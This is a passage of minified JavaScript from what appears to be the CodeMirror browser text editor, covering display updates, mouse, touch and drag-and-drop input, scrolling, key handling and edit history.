gm=[],gk;for(var gl=go;gl<gn;gl=gk){var gj=new bw(gi.doc,fg(gi.doc,gl),gl);gk=gl+gj.size;gm.push(gj)}return gm}function ah(gp,gn,go,gq){if(gn==null){gn=gp.doc.first}if(go==null){go=gp.doc.first+gp.doc.size}if(!gq){gq=0}var gk=gp.display;if(gq&&go<gk.viewTo&&(gk.updateLineNumbers==null||gk.updateLineNumbers>gn)){gk.updateLineNumbers=gn}gp.curOp.viewChanged=true;if(gn>=gk.viewTo){if(a8&&aW(gp.doc,gn)<gk.viewTo){ey(gp)}}else{if(go<=gk.viewFrom){if(a8&&d3(gp.doc,go+gq)>gk.viewFrom){ey(gp)}else{gk.viewFrom+=gq;gk.viewTo+=gq}}else{if(gn<=gk.viewFrom&&go>=gk.viewTo){ey(gp)}else{if(gn<=gk.viewFrom){var gm=df(gp,go,go+gq,1);if(gm){gk.view=gk.view.slice(gm.index);gk.viewFrom=gm.lineN;gk.viewTo+=gq}else{ey(gp)}}else{if(go>=gk.viewTo){var gm=df(gp,gn,gn,-1);if(gm){gk.view=gk.view.slice(0,gm.index);gk.viewTo=gm.lineN}else{ey(gp)}}else{var gl=df(gp,gn,gn,-1);var gj=df(gp,go,go+gq,1);if(gl&&gj){gk.view=gk.view.slice(0,gl.index).concat(eW(gp,gl.lineN,gj.lineN)).concat(gk.view.slice(gj.index));gk.viewTo+=gq}else{ey(gp)}}}}}}var gi=gk.externalMeasured;if(gi){if(go<gi.lineN){gi.lineN+=gq}else{if(gn<gi.lineN+gi.size){gk.externalMeasured=null}}}}function R(gj,gk,gn){gj.curOp.viewChanged=true;var go=gj.display,gm=gj.display.externalMeasured;if(gm&&gk>=gm.lineN&&gk<gm.lineN+gm.size){go.externalMeasured=null}if(gk<go.viewFrom||gk>=go.viewTo){return}var gl=go.view[ds(gj,gk)];if(gl.node==null){return}var gi=gl.changes||(gl.changes=[]);if(di(gi,gn)==-1){gi.push(gn)}}function ey(gi){gi.display.viewFrom=gi.display.viewTo=gi.doc.first;gi.display.view=[];gi.display.viewOffset=0}function ds(gi,gl){if(gl>=gi.display.viewTo){return null}gl-=gi.display.viewFrom;if(gl<0){return null}var gj=gi.display.view;for(var gk=0;gk<gj.length;gk++){gl-=gj[gk].size;if(gl<0){return gk}}}function df(gq,gk,gm,gj){var gn=ds(gq,gk),gp,go=gq.display.view;if(!a8||gm==gq.doc.first+gq.doc.size){return{index:gn,lineN:gm}}for(var gl=0,gi=gq.display.viewFrom;gl<gn;gl++){gi+=go[gl].size}if(gi!=gk){if(gj>0){if(gn==go.length-1){return null}gp=(gi+go[gn].size)-gk;gn++}else{gp=gi-gk}gk+=gp;gm+=gp}while(aW(gq.doc,gm)!=gm){if(gn==(gj<0?0:go.length-1)){return null}gm+=gj*go[gn-(gj<0?1:0)].size;gn+=gj}return{index:gn,lineN:gm}}function cS(gi,gm,gl){var gk=gi.display,gj=gk.view;if(gj.length==0||gm>=gk.viewTo||gl<=gk.viewFrom){gk.view=eW(gi,gm,gl);gk.viewFrom=gm}else{if(gk.viewFrom>gm){gk.view=eW(gi,gm,gk.viewFrom).concat(gk.view)}else{if(gk.viewFrom<gm){gk.view=gk.view.slice(ds(gi,gm))}}gk.viewFrom=gm;if(gk.viewTo<gl){gk.view=gk.view.concat(eW(gi,gk.viewTo,gl))}else{if(gk.viewTo>gl){gk.view=gk.view.slice(0,ds(gi,gl))}}}gk.viewTo=gl}function dc(gi){var gj=gi.display.view,gm=0;for(var gl=0;gl<gj.length;gl++){var gk=gj[gl];if(!gk.hidden&&(!gk.node||gk.changes)){++gm}}return gm}function fR(gj){var gn=gj.display;bY(gn.scroller,"mousedown",c3(gj,ev));if(dL&&k<11){bY(gn.scroller,"dblclick",c3(gj,function(gr){if(aR(gj,gr)){return}var gs=co(gj,gr);if(!gs||l(gj,gr)||bc(gj.display,gr)){return}cH(gr);var gq=gj.findWordAt(gs);fX(gj.doc,gq.anchor,gq.head)}))}else{bY(gn.scroller,"dblclick",function(gq){aR(gj,gq)||cH(gq)})}if(!ga){bY(gn.scroller,"contextmenu",function(gq){ay(gj,gq)})}var gp,gi={end:0};function go(){if(gn.activeTouch){gp=setTimeout(function(){gn.activeTouch=null},1000);gi=gn.activeTouch;gi.end=+new Date}}function gl(gq){if(gq.touches.length!=1){return false}var gr=gq.touches[0];return gr.radiusX<=1&&gr.radiusY<=1}function gk(gt,gq){if(gq.left==null){return true}var gs=gq.left-gt.left,gr=gq.top-gt.top;return gs*gs+gr*gr>20*20}bY(gn.scroller,"touchstart",function(gr){if(!gl(gr)){clearTimeout(gp);var gq=+new Date;gn.activeTouch={start:gq,moved:false,prev:gq-gi.end<=300?gi:null};if(gr.touches.length==1){gn.activeTouch.left=gr.touches[0].pageX;gn.activeTouch.top=gr.touches[0].pageY}}});bY(gn.scroller,"touchmove",function(){if(gn.activeTouch){gn.activeTouch.moved=true}});bY(gn.scroller,"touchend",function(gr){var gt=gn.activeTouch;if(gt&&!bc(gn,gr)&&gt.left!=null&&!gt.moved&&new Date-gt.start<300){var gs=gj.coordsChar(gn.activeTouch,"page"),gq;if(!gt.prev||gk(gt,gt.prev)){gq=new dZ(gs,gs)}else{if(!gt.prev.prev||gk(gt,gt.prev.prev)){gq=gj.findWordAt(gs)}else{gq=new dZ(W(gs.line,0),fK(gj.doc,W(gs.line+1,0)))}}gj.setSelection(gq.anchor,gq.head);gj.focus();cH(gr)}go()});bY(gn.scroller,"touchcancel",go);bY(gn.scroller,"scroll",function(){if(gn.scroller.clientHeight){N(gj,gn.scroller.scrollTop);bF(gj,gn.scroller.scrollLeft,true);aE(gj,"scroll",gj)}});bY(gn.scroller,"mousewheel",function(gq){b(gj,gq)});bY(gn.scroller,"DOMMouseScroll",function(gq){b(gj,gq)});bY(gn.wrapper,"scroll",function(){gn.wrapper.scrollTop=gn.wrapper.scrollLeft=0});gn.dragFunctions={simple:function(gq){if(!aR(gj,gq)){es(gq)}},start:function(gq){Q(gj,gq)},drop:c3(gj,bl)};var gm=gn.input.getField();bY(gm,"keyup",function(gq){bj.call(gj,gq)});bY(gm,"keydown",c3(gj,p));bY(gm,"keypress",c3(gj,cy));bY(gm,"focus",cw(cC,gj));bY(gm,"blur",cw(aV,gj))}function f1(gj,gm,gk){var gn=gk&&gk!=H.Init;if(!gm!=!gn){var gl=gj.display.dragFunctions;var gi=gm?bY:ee;gi(gj.display.scroller,"dragstart",gl.start);gi(gj.display.scroller,"dragenter",gl.simple);gi(gj.display.scroller,"dragover",gl.simple);gi(gj.display.scroller,"drop",gl.drop)}}function aT(gi){var gj=gi.display;if(gj.lastWrapHeight==gj.wrapper.clientHeight&&gj.lastWrapWidth==gj.wrapper.clientWidth){return}gj.cachedCharWidth=gj.cachedTextHeight=gj.cachedPaddingH=null;gj.scrollbarsClipped=false;gi.setSize()}function bc(gj,gi){for(var gk=L(gi);gk!=gj.wrapper;gk=gk.parentNode){if(!gk||(gk.nodeType==1&&gk.getAttribute("cm-ignore-events")=="true")||(gk.parentNode==gj.sizer&&gk!=gj.mover)){return true}}}function co(gr,gm,gj,gk){var gn=gr.display;if(!gj&&L(gm).getAttribute("cm-not-content")=="true"){return null}var gq,go,gi=gn.lineSpace.getBoundingClientRect();try{gq=gm.clientX-gi.left;go=gm.clientY-gi.top}catch(gm){return null}var gp=fP(gr,gq,go),gs;if(gk&&gp.xRel==1&&(gs=fg(gr.doc,gp.line).text).length==gp.ch){var gl=bU(gs,gs.length,gr.options.tabSize)-gs.length;gp=W(gp.line,Math.max(0,Math.round((gq-e6(gr.display).left)/dE(gr.display))-gl))}return gp}function ev(gk){var gi=this,gj=gi.display;if(gj.activeTouch&&gj.input.supportsTouch()||aR(gi,gk)){return}gj.shift=gk.shiftKey;if(bc(gj,gk)){if(!c1){gj.scroller.draggable=false;setTimeout(function(){gj.scroller.draggable=true},100)}return}if(l(gi,gk)){return}var gl=co(gi,gk);window.focus();switch(fO(gk)){case 1:if(gl){ax(gi,gk,gl)}else{if(L(gk)==gj.scroller){cH(gk)}}break;case 2:if(c1){gi.state.lastMiddleDown=+new Date}if(gl){fX(gi.doc,gl)}setTimeout(function(){gj.input.focus()},20);cH(gk);break;case 3:if(ga){ay(gi,gk)}else{al(gi)}break}}var dp,de;function ax(gj,go,gp){if(dL){setTimeout(cw(r,gj),0)}else{gj.curOp.focus=dP()}var gk=+new Date,gm;if(de&&de.time>gk-400&&cg(de.pos,gp)==0){gm="triple"}else{if(dp&&dp.time>gk-400&&cg(dp.pos,gp)==0){gm="double";de={time:gk,pos:gp}}else{gm="single";dp={time:gk,pos:gp}}}var gn=gj.doc.sel,gi=b8?go.metaKey:go.ctrlKey,gl;if(gj.options.dragDrop&&eM&&!aj(gj)&&gm=="single"&&(gl=gn.contains(gp))>-1&&(cg((gl=gn.ranges[gl]).from(),gp)<0||gp.xRel>0)&&(cg(gl.to(),gp)>0||gp.xRel<0)){a4(gj,go,gp,gi)}else{m(gj,go,gp,gm,gi)}}function a4(gk,gn,go,gj){var gm=gk.display,gl=+new Date;var gi=c3(gk,function(gp){if(c1){gm.scroller.draggable=false}gk.state.draggingText=false;ee(document,"mouseup",gi);ee(gm.scroller,"drop",gi);if(Math.abs(gn.clientX-gp.clientX)+Math.abs(gn.clientY-gp.clientY)<10){cH(gp);if(!gj&&+new Date-200<gl){fX(gk.doc,go)}if(c1||dL&&k==9){setTimeout(function(){document.body.focus();gm.input.focus()},20)}else{gm.input.focus()}}});if(c1){gm.scroller.draggable=true}gk.state.draggingText=gi;if(gm.scroller.dragDrop){gm.scroller.dragDrop()}bY(document,"mouseup",gi);bY(gm.scroller,"drop",gi)}function m(gm,gA,gl,gj,go){var gx=gm.display,gC=gm.doc;cH(gA);var gk,gB,gn=gC.sel,gi=gn.ranges;if(go&&!gA.shiftKey){gB=gC.sel.contains(gl);if(gB>-1){gk=gi[gB]}else{gk=new dZ(gl,gl)}}else{gk=gC.sel.primary();gB=gC.sel.primIndex}if(gA.altKey){gj="rect";if(!go){gk=new dZ(gl,gl)}gl=co(gm,gA,true,true);gB=-1}else{if(gj=="double"){var gy=gm.findWordAt(gl);if(gm.display.shift||gC.extend){gk=fw(gC,gk,gy.anchor,gy.head)}else{gk=gy}}else{if(gj=="triple"){var gr=new dZ(W(gl.line,0),fK(gC,W(gl.line+1,0)));if(gm.display.shift||gC.extend){gk=fw(gC,gk,gr.anchor,gr.head)}else{gk=gr}}else{gk=fw(gC,gk,gl)}}}if(!go){gB=0;bV(gC,new f4([gk],0),M);gn=gC.sel}else{if(gB==-1){gB=gi.length;bV(gC,cx(gi.concat([gk]),gB),{scroll:false,origin:"*mouse"})}else{if(gi.length>1&&gi[gB].empty()&&gj=="single"&&!gA.shiftKey){bV(gC,cx(gi.slice(0,gB).concat(gi.slice(gB+1)),0));gn=gC.sel}else{e(gC,gB,gk,M)}}}var gw=gl;function gv(gN){if(cg(gw,gN)==0){return}gw=gN;if(gj=="rect"){var gE=[],gK=gm.options.tabSize;var gD=bU(fg(gC,gl.line).text,gl.ch,gK);var gQ=bU(fg(gC,gN.line).text,gN.ch,gK);var gF=Math.min(gD,gQ),gO=Math.max(gD,gQ);for(var gR=Math.min(gl.line,gN.line),gH=Math.min(gm.lastLine(),Math.max(gl.line,gN.line));gR<=gH;gR++){var gP=fg(gC,gR).text,gG=er(gP,gF,gK);if(gF==gO){gE.push(new dZ(W(gR,gG),W(gR,gG)))}else{if(gP.length>gG){gE.push(new dZ(W(gR,gG),W(gR,er(gP,gO,gK))))}}}if(!gE.length){gE.push(new dZ(gl,gl))}bV(gC,cx(gn.ranges.slice(0,gB).concat(gE),gB),{origin:"*mouse",scroll:false});gm.scrollIntoView(gN)}else{var gL=gk;var gI=gL.anchor,gM=gN;if(gj!="single"){if(gj=="double"){var gJ=gm.findWordAt(gN)}else{var gJ=new dZ(W(gN.line,0),fK(gC,W(gN.line+1,0)))}if(cg(gJ.anchor,gI)>0){gM=gJ.head;gI=ar(gL.from(),gJ.anchor)}else{gM=gJ.anchor;gI=by(gL.to(),gJ.head)}}var gE=gn.ranges.slice(0);gE[gB]=new dZ(fK(gC,gI),gM);bV(gC,cx(gE,gB),M)}}var gt=gx.wrapper.getBoundingClientRect();var gp=0;function gz(gF){var gD=++gp;var gH=co(gm,gF,true,gj=="rect");if(!gH){return}if(cg(gH,gw)!=0){gm.curOp.focus=dP();gv(gH);var gG=b7(gx,gC);if(gH.line>=gG.to||gH.line<gG.from){setTimeout(c3(gm,function(){if(gp==gD){gz(gF)}}),150)}}else{var gE=gF.clientY<gt.top?-20:gF.clientY>gt.bottom?20:0;if(gE){setTimeout(c3(gm,function(){if(gp!=gD){return}gx.scroller.scrollTop+=gE;gz(gF)}),50)}}}function gs(gD){gp=Infinity;cH(gD);gx.input.focus();ee(document,"mousemove",gu);ee(document,"mouseup",gq);gC.history.lastSelOrigin=null}var gu=c3(gm,function(gD){if(!fO(gD)){gs(gD)}else{gz(gD)}});var gq=c3(gm,gs);bY(document,"mousemove",gu);bY(document,"mouseup",gq)}function gg(gt,gp,gr,gs,gl){try{var gj=gp.clientX,gi=gp.clientY}catch(gp){return false}if(gj>=Math.floor(gt.display.gutters.getBoundingClientRect().right)){return false}if(gs){cH(gp)}var gq=gt.display;var go=gq.lineDiv.getBoundingClientRect();if(gi>go.bottom||!fj(gt,gr)){return bM(gp)}gi-=go.top-gq.viewOffset;for(var gm=0;gm<gt.options.gutters.length;++gm){var gn=gq.gutters.childNodes[gm];if(gn&&gn.getBoundingClientRect().right>=gj){var gu=bH(gt.doc,gi);var gk=gt.options.gutters[gm];gl(gt,gr,gt,gu,gk,gp);return bM(gp)}}}function l(gi,gj){return gg(gi,gj,"gutterClick",true,ae)}var ag=0;function bl(go){var gq=this;if(aR(gq,go)||bc(gq.display,go)){return}cH(go);if(dL){ag=+new Date}var gp=co(gq,go,true),gi=go.dataTransfer.files;if(!gp||aj(gq)){return}if(gi&&gi.length&&window.FileReader&&window.File){var gk=gi.length,gr=Array(gk),gj=0;var gm=function(gu,gt){var gs=new FileReader;gs.onload=c3(gq,function(){gr[gt]=gs.result;if(++gj==gk){gp=fK(gq.doc,gp);var gv={from:gp,to:gp,text:a1(gr.join("\n")),origin:"paste"};bh(gq.doc,gv);e8(gq.doc,eT(gp,cY(gv)))}});gs.readAsText(gu)};for(var gn=0;gn<gk;++gn){gm(gi[gn],gn)}}else{if(gq.state.draggingText&&gq.doc.sel.contains(gp)>-1){gq.state.draggingText(go);setTimeout(function(){gq.display.input.focus()},20);return}try{var gr=go.dataTransfer.getData("Text");if(gr){if(gq.state.draggingText&&!(b8?go.altKey:go.ctrlKey)){var gl=gq.listSelections()}eq(gq.doc,eT(gp,gp));if(gl){for(var gn=0;gn<gl.length;++gn){a2(gq.doc,"",gl[gn].anchor,gl[gn].head,"drag")}}gq.replaceSelection(gr,"around","paste");gq.display.input.focus()}}catch(go){}}}function Q(gi,gk){if(dL&&(!gi.state.draggingText||+new Date-ag<100)){es(gk);return}if(aR(gi,gk)||bc(gi.display,gk)){return}gk.dataTransfer.setData("Text",gi.getSelection());if(gk.dataTransfer.setDragImage&&!aC){var gj=f3("img",null,null,"position: fixed; left: 0; top: 0;");gj.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";if(d4){gj.width=gj.height=1;gi.display.wrapper.appendChild(gj);gj._top=gj.offsetTop}gk.dataTransfer.setDragImage(gj,0,0);if(d4){gj.parentNode.removeChild(gj)}}}function N(gi,gj){if(Math.abs(gi.doc.scrollTop-gj)<2){return}gi.doc.scrollTop=gj;if(!cp){dU(gi,{top:gj})}if(gi.display.scroller.scrollTop!=gj){gi.display.scroller.scrollTop=gj}gi.display.scrollbars.setScrollTop(gj);if(cp){dU(gi)}eg(gi,100)}function bF(gi,gk,gj){if(gj?gk==gi.doc.scrollLeft:Math.abs(gi.doc.scrollLeft-gk)<2){return}gk=Math.min(gk,gi.display.scroller.scrollWidth-gi.display.scroller.clientWidth);gi.doc.scrollLeft=gk;eF(gi);if(gi.display.scroller.scrollLeft!=gk){gi.display.scroller.scrollLeft=gk}gi.display.scrollbars.setScrollLeft(gk)}var fn=0,ch=null;if(dL){ch=-0.53}else{if(cp){ch=15}else{if(dd){ch=-0.7}else{if(aC){ch=-1/3}}}}var cR=function(gk){var gj=gk.wheelDeltaX,gi=gk.wheelDeltaY;if(gj==null&&gk.detail&&gk.axis==gk.HORIZONTAL_AXIS){gj=gk.detail}if(gi==null&&gk.detail&&gk.axis==gk.VERTICAL_AXIS){gi=gk.detail}else{if(gi==null){gi=gk.wheelDelta}}return{x:gj,y:gi}};H.wheelEventPixels=function(gi){var gj=cR(gi);gj.x*=ch;gj.y*=ch;return gj};function b(gq,gk){var gr=cR(gk),gu=gr.x,gt=gr.y;var gm=gq.display,gp=gm.scroller;if(!(gu&&gp.scrollWidth>gp.clientWidth||gt&&gp.scrollHeight>gp.clientHeight)){return}if(gt&&b8&&c1){outer:for(var gs=gk.target,go=gm.view;gs!=gp;gs=gs.parentNode){for(var gj=0;gj<go.length;gj++){if(go[gj].node==gs){gq.display.currentWheelTarget=gs;break outer}}}}if(gu&&!cp&&!d4&&ch!=null){if(gt){N(gq,Math.max(0,Math.min(gp.scrollTop+gt*ch,gp.scrollHeight-gp.clientHeight)))}bF(gq,Math.max(0,Math.min(gp.scrollLeft+gu*ch,gp.scrollWidth-gp.clientWidth)));cH(gk);gm.wheelStartX=null;return}if(gt&&ch!=null){var gi=gt*ch;var gn=gq.doc.scrollTop,gl=gn+gm.wrapper.clientHeight;if(gi<0){gn=Math.max(0,gn+gi-50)}else{gl=Math.min(gq.doc.height,gl+gi+50)}dU(gq,{top:gn,bottom:gl})}if(fn<20){if(gm.wheelStartX==null){gm.wheelStartX=gp.scrollLeft;gm.wheelStartY=gp.scrollTop;gm.wheelDX=gu;gm.wheelDY=gt;setTimeout(function(){if(gm.wheelStartX==null){return}var gv=gp.scrollLeft-gm.wheelStartX;var gx=gp.scrollTop-gm.wheelStartY;var gw=(gx&&gm.wheelDY&&gx/gm.wheelDY)||(gv&&gm.wheelDX&&gv/gm.wheelDX);gm.wheelStartX=gm.wheelStartY=null;if(!gw){return}ch=(ch*fn+gw)/(fn+1);++fn},200)}else{gm.wheelDX+=gu;gm.wheelDY+=gt}}}function fS(gj,gm,gi){if(typeof gm=="string"){gm=eE[gm];if(!gm){return false}}gj.display.input.ensurePolled();var gl=gj.display.shift,gk=false;try{if(aj(gj)){gj.state.suppressEdits=true}if(gi){gj.display.shift=false}gk=gm(gj)!=cb}finally{gj.display.shift=gl;gj.state.suppressEdits=false}return gk}function eb(gj,gk,gm){for(var gl=0;gl<gj.state.keyMaps.length;gl++){var gi=i(gk,gj.state.keyMaps[gl],gm,gj);if(gi){return gi}}return(gj.options.extraKeys&&i(gk,gj.options.extraKeys,gm,gj))||i(gk,gj.options.keyMap,gm,gj)}var dN=new gh;function be(gj,gl,gn,gm){var gk=gj.state.keySeq;if(gk){if(eD(gl)){return"handled"}dN.set(50,function(){if(gj.state.keySeq==gk){gj.state.keySeq=null;gj.display.input.reset()}});gl=gk+" "+gl}var gi=eb(gj,gl,gm);if(gi=="multi"){gj.state.keySeq=gl}if(gi=="handled"){ae(gj,"keyHandled",gj,gl,gn)}if(gi=="handled"||gi=="multi"){cH(gn);o(gj)}if(gk&&!gi&&/\'$/.test(gl)){cH(gn);return true}return !!gi}function fk(gi,gk){var gj=fs(gk,true);if(!gj){return false}if(gk.shiftKey&&!gi.state.keySeq){return be(gi,"Shift-"+gj,gk,function(gl){return fS(gi,gl,true)})||be(gi,gj,gk,function(gl){if(typeof gl=="string"?/^go[A-Z]/.test(gl):gl.motion){return fS(gi,gl)}})}else{return be(gi,gj,gk,function(gl){return fS(gi,gl)})}}function ek(gi,gk,gj){return be(gi,"'"+gj+"'",gk,function(gl){return fS(gi,gl,true)})}var dn=null;function p(gl){var gi=this;gi.curOp.focus=dP();if(aR(gi,gl)){return}if(dL&&k<11&&gl.keyCode==27){gl.returnValue=false}var gj=gl.keyCode;gi.display.shift=gj==16||gl.shiftKey;var gk=fk(gi,gl);if(d4){dn=gk?gj:null;if(!gk&&gj==88&&!db&&(b8?gl.metaKey:gl.ctrlKey)){gi.replaceSelection("",null,"cut")}}if(gj==18&&!/\bCodeMirror-crosshair\b/.test(gi.display.lineDiv.className)){av(gi)}}function av(gj){var gk=gj.display.lineDiv;fB(gk,"CodeMirror-crosshair");function gi(gl){if(gl.keyCode==18||!gl.altKey){f(gk,"CodeMirror-crosshair");ee(document,"keyup",gi);ee(document,"mouseover",gi)}}bY(document,"keyup",gi);bY(document,"mouseover",gi)}function bj(gi){if(gi.keyCode==16){this.doc.sel.shift=false}aR(this,gi)}function cy(gm){var gi=this;if(bc(gi.display,gm)||aR(gi,gm)||gm.ctrlKey&&!gm.altKey||b8&&gm.metaKey){return}var gl=gm.keyCode,gj=gm.charCode;if(d4&&gl==dn){dn=null;cH(gm);return}if((d4&&(!gm.which||gm.which<10))&&fk(gi,gm)){return}var gk=String.fromCharCode(gj==null?gl:gj);if(ek(gi,gm,gk)){return}gi.display.input.onKeyPress(gm)}function al(gi){gi.state.delayingBlurEvent=true;setTimeout(function(){if(gi.state.delayingBlurEvent){gi.state.delayingBlurEvent=false;aV(gi)}},100)}function cC(gi){if(gi.state.delayingBlurEvent){gi.state.delayingBlurEvent=false}if(gi.options.readOnly=="nocursor"){return}if(!gi.state.focused){aE(gi,"focus",gi);gi.state.focused=true;fB(gi.display.wrapper,"CodeMirror-focused");if(!gi.curOp&&gi.display.selForContextMenu!=gi.doc.sel){gi.display.input.reset();if(c1){setTimeout(function(){gi.display.input.reset(true)},20)}}gi.display.input.receivedFocus()}o(gi)}function aV(gi){if(gi.state.delayingBlurEvent){return}if(gi.state.focused){aE(gi,"blur",gi);gi.state.focused=false;f(gi.display.wrapper,"CodeMirror-focused")}clearInterval(gi.display.blinker);setTimeout(function(){if(!gi.state.focused){gi.display.shift=false}},150)}function ay(gi,gj){if(bc(gi.display,gj)||dh(gi,gj)){return}gi.display.input.onContextMenu(gj)}function dh(gi,gj){if(!fj(gi,"gutterContextMenu")){return false}return gg(gi,gj,"gutterContextMenu",false,aE)}var cY=H.changeEnd=function(gi){if(!gi.text){return gi.to}return W(gi.from.line+gi.text.length-1,fH(gi.text).length+(gi.text.length==1?gi.from.ch:0))};function b0(gl,gk){if(cg(gl,gk.from)<0){return gl}if(cg(gl,gk.to)<=0){return cY(gk)}var gi=gl.line+gk.text.length-(gk.to.line-gk.from.line)-1,gj=gl.ch;if(gl.line==gk.to.line){gj+=cY(gk).ch-gk.to.ch}return W(gi,gj)}function fl(gl,gm){var gj=[];for(var gk=0;gk<gl.sel.ranges.length;gk++){var gi=gl.sel.ranges[gk];gj.push(new dZ(b0(gi.anchor,gm),b0(gi.head,gm)))}return cx(gj,gl.sel.primIndex)}function bv(gk,gj,gi){if(gk.line==gj.line){return W(gi.line,gk.ch-gj.ch+gi.ch)}else{return W(gi.line+(gk.line-gj.line),gk.ch)}}function af(gs,gp,gj){var gk=[];var gi=W(gs.first,0),gt=gi;for(var gm=0;gm<gp.length;gm++){var go=gp[gm];var gr=bv(go.from,gi,gt);var gq=bv(cY(go),gi,gt);gi=go.to;gt=gq;if(gj=="around"){var gn=gs.sel.ranges[gm],gl=cg(gn.head,gn.anchor)<0;gk[gm]=new dZ(gl?gq:gr,gl?gr:gq)}else{gk[gm]=new dZ(gr,gr)}}return new f4(gk,gs.sel.primIndex)}function dS(gj,gl,gk){var gi={canceled:false,from:gl.from,to:gl.to,text:gl.text,origin:gl.origin,cancel:function(){this.canceled=true}};if(gk){gi.update=function(gp,go,gn,gm){if(gp){this.from=fK(gj,gp)}if(go){this.to=fK(gj,go)}if(gn){this.text=gn}if(gm!==undefined){this.origin=gm}}}aE(gj,"beforeChange",gj,gi);if(gj.cm){aE(gj.cm,"beforeChange",gj.cm,gi)}if(gi.canceled){return null}return{from:gi.from,to:gi.to,text:gi.text,origin:gi.origin}}function bh(gl,gm,gk){if(gl.cm){if(!gl.cm.curOp){return c3(gl.cm,bh)(gl,gm,gk)}if(gl.cm.state.suppressEdits){return}}if(fj(gl,"beforeChange")||gl.cm&&fj(gl.cm,"beforeChange")){gm=dS(gl,gm,true);if(!gm){return}}var gj=gd&&!gk&&cI(gl,gm.from,gm.to);if(gj){for(var gi=gj.length-1;gi>=0;--gi){K(gl,{from:gj[gi].from,to:gj[gi].to,text:gi?[""]:gm.text})}}else{K(gl,gm)}}function K(gk,gl){if(gl.text.length==1&&gl.text[0]==""&&cg(gl.from,gl.to)==0){return}var gj=fl(gk,gl);fN(gk,gl,gj,gk.cm?gk.cm.curOp.id:NaN);ef(gk,gl,gj,el(gk,gl));var gi=[];d8(gk,function(gn,gm){if(!gm&&di(gi,gn.history)==-1){dF(gn.history,gl);gi.push(gn.history)}ef(gn,gl,null,el(gn,gl))})}function b9(gt,gr,gv){if(gt.cm&&gt.cm.state.suppressEdits){return}var gq=gt.history,gk,gm=gt.sel;var gi=gr=="undo"?gq.done:gq.undone,gu=gr=="undo"?gq.undone:gq.done;for(var gn=0;gn<gi.length;gn++){gk=gi[gn];if(gv?gk.ranges&&!gk.equals(gt.sel):!gk.ranges){break}}if(gn==gi.length){return}gq.lastOrigin=gq.lastSelOrigin=null;for(;;){gk=gi.pop();if(gk.ranges){cO(gk,gu);if(gv&&!gk.equals(gt.sel)){bV(gt,gk,{clearRedo:false});return}gm=gk}else{break}}var gp=[];cO(gm,gu);gu.push({changes:gp,generation:gq.generation});gq.generation=gk.generation||++gq.maxGeneration;var gl=fj(gt,"beforeChange")||gt.cm&&fj(gt.cm,"beforeChange");for(var gn=gk.changes.length-1;gn>=0;--gn){var gs=gk.changes[gn];gs.origin=gr;if(gl&&!dS(gt,gs,false)){gi.length=0;return}gp.push(dv(gt,gs));var gj=gn?fl(gt,gs):fH(gi);ef(gt,gs,gj,ea(gt,gs));if(!gn&&gt.cm){gt.cm.scrollIntoView({from:gs.from,to:cY(gs)})}var go=[];d8(gt,function(gx,gw){if(!gw&&di(go,gx.history)==-1){dF(gx.history,gs);go.push(gx.history)}ef(gx,gs,null,ea(gx,gs))})}}function fo(gj,gl){if(gl==0){return}gj.first+=gl;gj.sel=new f4(bT(gj.sel.ranges,function(gm){return new dZ(W(gm.anchor.line+gl,gm.anchor.ch),W(gm.head.line+gl,gm.head.ch))}),gj.sel.primIndex);if(gj.cm){ah(gj.cm,gj.first,gj.first-gl,gl);for(var gk=gj.cm.display,gi=gk.viewFrom;gi<gk.viewTo;gi++){R(gj.cm,gi,"gutter")}}}function ef(gm,gn,gl,gj){if(gm.cm&&!gm.cm.curOp){return c3(gm.cm,ef)(gm,gn,gl,gj)}if(gn.to.line<gm.first){fo(gm,gn.text.length-1-(gn.to.line-gn.from.line));return}if(gn.from.line>gm.lastLine()){return}if(gn.from.line<gm.first){var gi=gn.text.length-1-(gm.first-gn.from.line);fo(gm,gi);gn={from:W(gm.first,0),to:W(gn.to.line+gi,gn.to.ch),text:[fH(gn.text)],origin:gn.origin}}var gk=gm.lastLine();if(gn.to.line>gk){gn={from:gn.from,to:W(gk,fg(gm,gk).text.length),text:[gn.text[0]],origin:gn.origin}}gn.removed=f5(gm,gn.from,gn.to);if(!gl){gl=fl(gm,gn)}if(gm.cm){aJ(gm.cm,gn,gj)}else{fz(gm,gn,gj)}eq(gm,gl,Z)}function aJ(gt,gp,gn){var gs=gt.doc,go=gt.display,gq=gp.from,gr=gp.to;var gi=false,gm=gq.line;if(!gt.options.lineWrapping){gm=bO(y(fg(gs,gq.line)));gs.iter(gm,gr.line+1,function(gv){if(gv==go.maxLine){gi=true;return true}})}if(gs.sel.contains(gp.from,gp.to)>-1){V(gt)}fz(gs,gp,gn,bf(gt));if(!gt.options.lineWrapping){gs.iter(gm,gq.line+gp.text.length,function(gw){var gv=eo(gw);if(gv>go.maxLineLength){go.maxLine=gw;go.maxLineLength=gv;go.maxLineChanged=true;gi=false}});if(gi){gt.curOp.updateMaxLine=true}}gs.frontier=Math.min(gs.frontier,gq.line);eg(gt,400);var gu=gp.text.length-(gr.line-gq.line)-1;if(gp.full){ah(gt)}else{if(gq.line==gr.line&&gp.text.length==1&&!dT(gt.doc,gp)){R(gt,gq.line,"text")}else{ah(gt,gq.line,gr.line+1,gu)}}var gk=fj(gt,"changes"),gl=fj(gt,"change");if(gl||gk){var gj={from:gq,to:gr,text:gp.text,removed:gp.removed,origin:gp.origin};if(gl){ae(gt,"change",gt,gj)}if(gk){(gt.curOp.changeObjs||(gt.curOp.changeObjs=[])).push(gj)}}gt.display.selForContextMenu=null}function a2(gl,gk,gn,gm,gi){if(!gm){gm=gn}if(cg(gm,gn)<0){var gj=gm;gm=gn;gn=gj}if(typeof gk=="string"){gk=a1(gk)}bh(gl,{from:gn,to:gm,text:gk,origin:gi})}function d7(gj,gm){if(aR(gj,"scrollCursorIntoView")){return}var gn=gj.display,gk=gn.sizer.getBoundingClientRect(),gi=null;if(gm.top+gk.top<0){gi=true}else{if(gm.bottom+gk.top>(window.innerHeight||document.documentElement.clientHeight)){gi=false}}if(gi!=null&&!fv){var gl=f3("div","\u200b",null,"position: absolute; top: "+(gm.top-gn.viewOffset-e9(gj.display))+"px; height: "+(gm.bottom-gm.top+cU(gj)+gn.barHeight)+"px; left: "+gm.left+"px; width: 2px;");gj.display.lineSpace.appendChild(gl);gl.scrollIntoView(gi);gj.display.lineSpace.removeChild(gl)}}function D(gs,gq,gm,gl){if(gl==null){gl=0}for(var gn=0;gn<5;gn++){var go=false,gr=dV(gs,gq);var gi=!gm||gm==gq?gr:dV(gs,gm);var 